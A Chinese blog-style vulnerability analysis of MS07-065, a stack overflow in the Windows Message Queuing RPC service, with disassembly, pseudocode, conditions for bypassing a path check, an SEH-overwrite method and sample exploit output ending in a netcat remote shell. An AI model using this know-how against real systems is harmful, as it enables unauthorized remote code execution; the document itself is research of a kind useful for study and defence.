MS07-065 Message Queuing Service RPC远程溢出分析

导读:
  漏洞是在UUID fdb3a030-065f-11d1-bb9b-00a024ea5525 的第6个调用引起的。最终通过一个 wcscat()的拷贝造成一个栈溢出.
  查找了一下关于这个接口的一些定义
  http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_msmq.html
  The Message Queuing service (msmq) runs RPC services, listening on the ncacn_ip_tcptransport. By default, the msmq services opens 4 TCP ports [81], including one or several of 2101/tcp, 2103/tcp, 2105/tcp and 2107/tcp.
  The mqqm.dll(Windows NT MQ Queue Manager) DLL, loaded in the mqsvc.exeprocess, contains the following RPC services:
  fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0
  76d12b80-3467-11d3-91ff-0090272f9ea3 v1.0
  1088a980-eae5-11d0-8d9b-00a02453c337 v1.0
  5b5b3580-b0e0-11d1-b92d-0060081e87f0 v1.0
  41208ee0-e970-11d1-9b9e-00e02c064c39 v1.0
   Table 4.49. qmcomm operations
   Interface       Operation number       Operation name
  fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0: qmcomm
  0x00             QMOpenQueue
  0x01             QMGetRemoteQueueName
  0x02             QMOpenRemoteQueue
  0x03             QMCloseRemoteQueueContext
  0x04             QMCreateRemoteCursor
  0x05             QMSendMessageInternal
  0x06             QMCreateObjectInternal
  。。。。。。
  事实上,这个服务运行在2101、2103、2105、2107端口,根据我后来的结果可以看到,这些端口都能够直接溢出
  这个漏洞被微软标记为important,因为在2003偷偷修复了,在xp和2000 professional版本上,这个漏洞利用时候需要验证用户密码,只有在2000 server上,才能够无须身份验证的触发溢出。
  Windows默认是没有装这个服务的,要安装这个服务可以在添加删除程序里,选择添加windows组件。
  
  
  如果是英文版的系统,那么这里可能叫做 Message Queuing
  安装完之后,可以通过 net start msmq 来启动服务。
  服务的进程是 mqsvc.exe, 而服务是在 mqqm.dll 中,所以我们可以反汇编这个dll文件
  用IDA反汇编mqqm.dll后,用mida插件逆向出RPC调用
  
  
  导出IDL文件后,可以看到函数结构如下:3
  /* opcode: 0x06, address: 0x613B5F03 */
  long _QMCreateObjectInternal (
  [in] long arg_1,
  [in][string] wchar_t * arg_2,
  [in][range(0,524288)] long arg_3,
  [in][unique][size_is(arg_3)] char * arg_4,
  [in][range(1,128)] long arg_5,
  [in][size_is(arg_5)] long arg_6[],
  [in][size_is(arg_5)] struct struct_4 arg_7[]
  );
  这个函数结构暂时先不管他,也可以自己重新构造了一个IDL文件.
  通过IDA看 _QMCreateObjectInternal 函数,没过多久就看出了问题所在
  在 QMCreatePrivateQueue 中的 ReplaceDNSNameWithNetBiosName 中,没有对输入进行充分检查,wcscat()导致了一个栈溢出。
  int __cdecl ReplaceDNSNameWithNetBiosName(wchar_t *Str, wchar_t *Dest)
  ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z proc near
  Str= dword ptr 4
  Dest= dword ptr 8
  push esi
  push 5Ch ;Ch
  push [esp+8+Str] ;Str
  call ds:__imp__wcschr
  pop ecx
  mov esi, eax
  pop ecx
  push ?g_szMachineName@@3PAGA ;Source
  push [esp+8+Dest] ;Dest
  call ds:__imp__wcscpy
  pop ecx
  pop ecx
  push esi ;Source
  push [esp+8+Dest] ;Dest
  call ds:__imp__wcscat // 溢出
  pop ecx
  pop ecx
  pop esi
  retn
  ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z endp
  伪代码:
  wchar_t *__cdecl ReplaceDNSNameWithNetBiosName(wchar_t *Str, wchar_t *Dest)
  {
  wchar_t *v3; // esi@1
  v3 = _wcschr(Str, 0x5Cu);
  _wcscpy(Dest, g_szMachineName);
  return _wcscat(Dest, v3);
  }
  这里我们后面再回过头来看。
  那么,函数调用是这样的:
  _QMCreateObjectInternal
  |---------------QMCreatePrivateQueue
  |-------------------ReplaceDNSNameWithNetBiosName
  _QMCreateObjectInternal的伪代码为:
  signed int __thiscall QMCreateObjectInternal(struct _RTL_CRITICAL_SECTION *this, RPC_BINDING_HANDLE Binding, unsigned int Type, wchar_t *Str, int a5, int a6, int a7, int a8, int a9)
  {
  __int32 v10; // edi@6
  __int32 v11; // eax@7
  int v12; // ST18_4@9
  struct _RTL_CRITICAL_SECTION *v13; // [sp+4h] [bp-10h]@1
  int v14; // [sp+10h] [bp-4h]@4
  v13 = this;
  if ( a5 &&!a6 )
  {
  LogMsgHR(-1072824314, off_6B27271C, 0x125u);
  return -1072824314;
  }
  v13 = &qmcmd_cs;
  EnterCriticalSection(&qmcmd_cs);
  v14 = 0;
  if ( Type == 1 )
  {
  v12 = 1;
  goto LABEL_14;
  }
  if ( Type == 2 )
  {
  Type = 0;
  v11 = I_RpcBindingInqTransportType(Binding, &Type);
  if ( v11 )
  goto LABEL_20;
  if ( Type == 4 )
  {
  v12 = 0;
  LABEL_14:
  v10 = CQPrivate__QMCreatePrivateQueue(Str, a5, a6, a7, a8, a9, v12);
  goto LABEL_15;
  }
  if ( v11 )
  LABEL_20:
  LogMsgRPCStatus(v11, off_6B27271C, 0x28u);
  LeaveCriticalSection(&qmcmd_cs);
  return -1072824283;
  }
  v10 = -1072824319;
  LABEL_15:
  if ( v10 <0 )
  LogMsgHR(v10, off_6B27271C, 0x32u);
  LeaveCriticalSection(&qmcmd_cs);
  return v10;
  }
  ============= 这是华丽的分割线 ================
  首先要调用到 QMCreatePrivateQueue .
  我们看到以下是依次是 _QMCreateObjectInternal的六个参数
  Type= dword ptr 0Ch
  Str= dword ptr 10h
  arg_C= dword ptr 14h
  arg_10= dword ptr 18h
  arg_14= dword ptr 1Ch
  arg_18= dword ptr 20h
  arg_1C= dword ptr 24h
  看以下代码片段
  loc_6B22555B: ;CCriticalSection qmcmd_cs
  mov esi, offset ?qmcmd_cs@@3VCCriticalSection@@A
  push esi ;lpCriticalSection
  mov [ebp+var_10], esi
  call ds:__imp__EnterCriticalSection@4 ;EnterCriticalSection(x)
  mov eax, [ebp+Type]
  mov [ebp+var_4], ebx
  dec eax
  jz short loc_6B2255C1
  在代码中,如果eax为1,dec eax后条件为真,会跳转到QMCreatePrivateQueue 去执行
  而eax是由mov eax, [ebp+Type]传入的
  所以要让流程走到QMCreatePrivateQueue
  _QMCreateObjectInternal的第一个参数必须是为0x00000001
  以下是 QMCreatePrivateQueue的调用
  loc_6B2255C3: ;int
  push [ebp+arg_1C]
  mov ecx, offset ?g_QPrivate@@3VCQPrivate@@A ;CQPrivate g_QPrivate
  push [ebp+arg_18] ;int
  push [ebp+arg_14] ;int
  push [ebp+arg_10] ;int
  push [ebp+arg_C] ;int
  push [ebp+Str] ;Str
  call ?QMCreatePrivateQueue@CQPrivate@@QAEJPBGKPAXKQAKQAUtagPROPVARIANT@@H@Z ;CQPrivate::QMCreatePrivateQueue(ushort const *,ulong,void *,ulong,ulong * const,tagPROPVARIANT * const,int)
  实际上,我们在后面可以看到,漏洞是由于QMCreatePrivateQueue的第一个参数,也就是_QMCreateObjectInternal的第二个参数所造成的。
  进入QMCreatePrivateQueue 之后,我们要调用到 ReplaceDNSNameWithNetBiosName.
  以下是代码片段
  .text:6B2178A9 mov eax, offset sub_6B25BE64
  .text:6B2178AE call __EH_prolog
  .text:6B2178B3 sub esp, 138h
  .text:6B2178B9 push ebx
  .text:6B2178BA push esi
  .text:6B2178BB mov esi, [ebp+8]
  .text:6B2178BE lea eax, [ebp-1Ch]
  .text:6B2178C1 push edi
  .text:6B2178C2 push eax ;int
  .text:6B2178C3 mov [ebp-18h], ecx
  .text:6B2178C6 push esi ;Source
  .text:6B2178C7 call ?IsPathnameForLocalMachine@@YAHPBGPAH@Z ;IsPathnameForLocalMachine(ushort const *,int *)
  .text:6B2178CC xor ebx, ebx ;ebx 清0
  .text:6B2178CE pop ecx
  .text:6B2178CF cmp eax, ebx ;比较ispath函数的返回值
  .text:6B2178D1 pop ecx
  .text:6B2178D2 jnz short loc_6B2178EC ;这里有个判断
  .text:6B2178EC cmp [ebp-1Ch], ebx ;这里有个判断
  .text:6B2178EF jz short loc_6B217906
  .text:6B2178F1 lea eax, [ebp-144h] ;在栈上
  .text:6B2178F7 push eax ;Dest
  .text:6B2178F8 push esi ;Str 我们传入的参数
  .text:6B2178F9 call ?ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z ;ReplaceDNSNameWithNetBiosName(ushort const *,ushort *)
  ========== 这是聪明的分割线 ============
  要走到 ReplaceDNSNameWithNetBiosName ,就需要先绕过 IsPathnameForLocalMachine 这个函数。 我在绕过这个函数上走了很多弯路,花了许多功夫。
  看看IsPathnameForLocalMachine函数:
  中间分析过程很多,这里我就拿重要的说
  mov eax, offset sub_6B25D54C
  call __EH_prolog
  sub esp, 204h
  push ebx
  push esi
  lea eax, [ebp+String1]
  push edi
  push eax ;Dest
  push [ebp+Source] ;Source
  call ?ExtractMachineName@@YAXPBGPAG@Z ;ExtractMachineName(ushort const *,ushort *)
  mov eax, [ebp+arg_4]
  pop ecx
  pop ecx
  mov esi, ds:__imp__CompareStringW@24 ;CompareStringW(x,x,x,x,x,x)
  and dword ptr [eax], 0
  push 0FFFFFFFFh ;cchCount2
  push ?g_szMachineName@@3PAGA ;lpString2
  lea eax, [ebp+String1]
  mov edi, 800h
  push 0FFFFFFFFh ;cchCount1
  push eax ;lpString1
  push 1 ;dwCmpFlags
  push edi ;Locale
  call esi ;CompareStringW(x,x,x,x,x,x) ;CompareStringW(x,x,x,x,x,x)
  dec eax
  dec eax
  jnz short loc_6B2344E9
  ExtractMachineName(ushort const *,ushort *) 这个函数把/x5c 就是斜杠前的名字,就是机器名拷贝到某处,所以我们的传入参数里要有斜杠。
  然后CompareStringW(x,x,x,x,x,x) 函数,把我们传入的斜杠前的那部分和 机器名比较,这里机器名是通过
  push ?g_szMachineName@@3PAGA ;lpString2
  取得的,所以是一个定值。
  对比完后,我们要让返回值不能为2,因为要跳转到下面的地方:
  loc_6B2344E9:
  lea eax, [ebp+String1]
  push 2Eh ;Ch
  push eax ;Str
  call ds:__imp__wcschr
  pop ecx
  test eax, eax
  pop ecx
  jz loc_6B2345DD
  这里会把刚才斜杠前的那部分拿来比较,看中间有没有点,我们要让跳转条件非真,所以我们的传入参数中要带一个“.” 就是/x2e
  然后我们控制流程来到
  push ?g_szMachineName@@3PAGA ;Str
  mov ebx, ds:__imp__wcslen
  call ebx ;__imp__wcslen
  pop ecx
  push eax ;cchCount2
  mov eax, ?g_szMachineName@@3PAGA ;ushort * g_szMachineName
  push eax ;lpString2
  push eax ;Str
  call ebx ;__imp__wcslen
  pop ecx
  push eax ;cchCount1
  lea eax, [ebp+String1]
  push eax ;lpString1
  push 1 ;dwCmpFlags
  push edi ;Locale
  call esi ;CompareStringW(x,x,x,x,x,x) ;CompareStringW(x,x,x,x,x,x)
  dec eax
  dec eax
  jnz loc_6B2345DD
  这里再次把机器名和我们传入的参数比较了一次, 这时候要让跳转条件不成立
  流程继续走到
  .text:6B234531 push ?g_szMachineName@@3PAGA ;Str
  .text:6B234537 call ebx ;__imp__wcslen
  .text:6B234539 cmp [ebp+eax*2+String1], 2Eh
  .text:6B234542 pop ecx
  .text:6B234543 jnz loc_6B2345DD
  .text:6B234549 mov eax, ?g_szComputerDnsName@@3V?$AP@G@@A ;AP  .text:6B23454E test eax, eax
  .text:6B234550 jz short loc_6B234570
  .text:6B234552 lea ecx, [ebp+String1]
  .text:6B234558 push ecx ;Str2
  .text:6B234559 push eax ;Str1
  .text:6B23455A call ds:__imp___wcsicmp ;比较字符串
  .text:6B234560 pop ecx
  .text:6B234561 test eax, eax
  .text:6B234563 pop ecx
  .text:6B234564 jnz short loc_6B234570 ;这里不能跳转
  .text:6B234566 mov ecx, [ebp+arg_4]
  .text:6B234569 push 1
  .text:6B23456B pop eax
  .text:6B23456C mov [ecx], eax
  .text:6B23456E jmp short loc_6B2345DF
  注意这里
  mov eax, ?g_szComputerDnsName@@3V?$AP@G@@A ;AP g_szComputerDnsName
  test eax, eax
  jz short loc_6B234570
  这个dns name是从机器中取的
  .text:6B234552 lea ecx, [ebp+String1]
  .text:6B234558 push ecx ;Str2
  .text:6B234559 push eax ;Str1
  .text:6B23455A call ds:__imp___wcsicmp
  然后马上比较两个串是否相同。
  根据我们的流程需要,最后要走到
  mov ecx, [ebp+arg_4]
  push 1
  pop eax
  mov [ecx], eax
  jmp short loc_6B2345DF
  然后这个天杀的 IsPathnameForLocalMachine 就总算返回为真了,而且我们同时绕过了以下两处的判断:
  .text:6B2178CF cmp eax, ebx ;比较ispath函数的返回值
  .text:6B2178D1 pop ecx
  .text:6B2178D2 jnz short loc_6B2178EC ;这里有个判断
  .text:6B2178EC cmp [ebp-1Ch], ebx ;这里有个判断
  .text:6B2178EF jz short loc_6B217906
  从而让函数流程顺利的执行到了 ReplaceDNSNameWithNetBiosName
  小结下绕过 IsPathnameForLocalMachine 的条件:
  1. 要发送个 目标机器的dnsname 加上 一个斜杠 /
  2. 要是unicode字符串发送dnsname
  实际上从 ReplaceDNSNameWithNetBiosName 这个函数的名字也可以看出来,是要把DNS name替换为 机器名。
  同时也可以看出来这个漏洞的利用条件: 需要知道目标机器的dnsname。
  一般如果机器在域里面,那就是域后缀。
  如下图:
  
  
  我的机器名是: a-dda41398f44f4
  DNS后缀是: .fuck
  注意这个“.”很重要,在触发条件中是一定要的。
  ========= 这是要抓狂的分割线 =================
  现在回过头来看 ReplaceDNSNameWithNetBiosName 的代码:
  push esi
  push 5Ch ;Ch
  push [esp+8+Str] ;Str
  call ds:__imp__wcschr
  pop ecx
  mov esi, eax
  pop ecx
  push ?g_szMachineName@@3PAGA ;Source
  push [esp+8+Dest] ;Dest
  call ds:__imp__wcscpy
  pop ecx
  pop ecx
  push esi ;Source
  push [esp+8+Dest] ;Dest
  call ds:__imp__wcscat
  就是把 / 后面的字符串,wcscat到 机器名后面, 而这个拷贝发生在栈上,没有做长度检查,发生了栈溢出。
  最后我使用覆盖seh 的方法利用成功发送超过2000 bytes字节的stub,保证覆盖到栈底触发异常,然后call ebx执行shellcode
  下面是一个装B的exploit,只适用于我的机器(机器名是a-dda41398f44f4 , dns 后缀是.fuck ),如果你要修改,需要考虑到机器名的不同带来的影响,要重新计算payload长度值. 为啥说这是装B的exploit呢,因为明明有更清晰的exploit写法我不写,要写个可以忽悠很多人的。所以说大家要是以前看到过这种exploit写法又看不懂,那不要灰心,那个人只是和我一样在装B而已!
  Exploit运行效果:
  
  
  Shellcode 使用exitthread退出线程,则可以反复溢出,如果使用seh退出,则会反复执行你的shellcode
  ======== 这是装B的分割线 ===============
  /*
  Windows Message Queuing Service Remote RPC BOF Exploit (MS07-065)
  by axis
  http://www.ph4nt0m.org
  you should know the dnsname of target to trigger this vuln
  the service runs on port 2103/2105/2107
  D:/soft/develop/MyProjects/temp/Debug>temp.exe -h 192.168.152.100 -p 2103
  --------------------------------------------------------------------------
  -== Windows Message Queuing Service Remote RPC BOF Exploit (MS07-065) ==-
  -== code by axis@ph4nt0m ==-
  -== Http://www.ph4nt0m.org ==-
  -== Tested against Windows 2000 server SP4 ==-
  --------------------------------------------------------------------------
  [+] Attacking default port 2103
  [*]Sending our Payload, Good Luck! ^_^
  [*]Sending RPC Bind String!
  [*]Sending RPC Request Now!
  D:/soft/develop/MyProjects/temp/Debug>
  D:/>nc -vv -n 192.168.152.100 1154
  (UNKNOWN) [192.168.152.100] 1154 (?) open: unknown socket error
  Microsoft Windows 2000 [Version 5.00.2195]

你可能感兴趣的:(网络安全技术,service,string,windows,binding,struct,microsoft)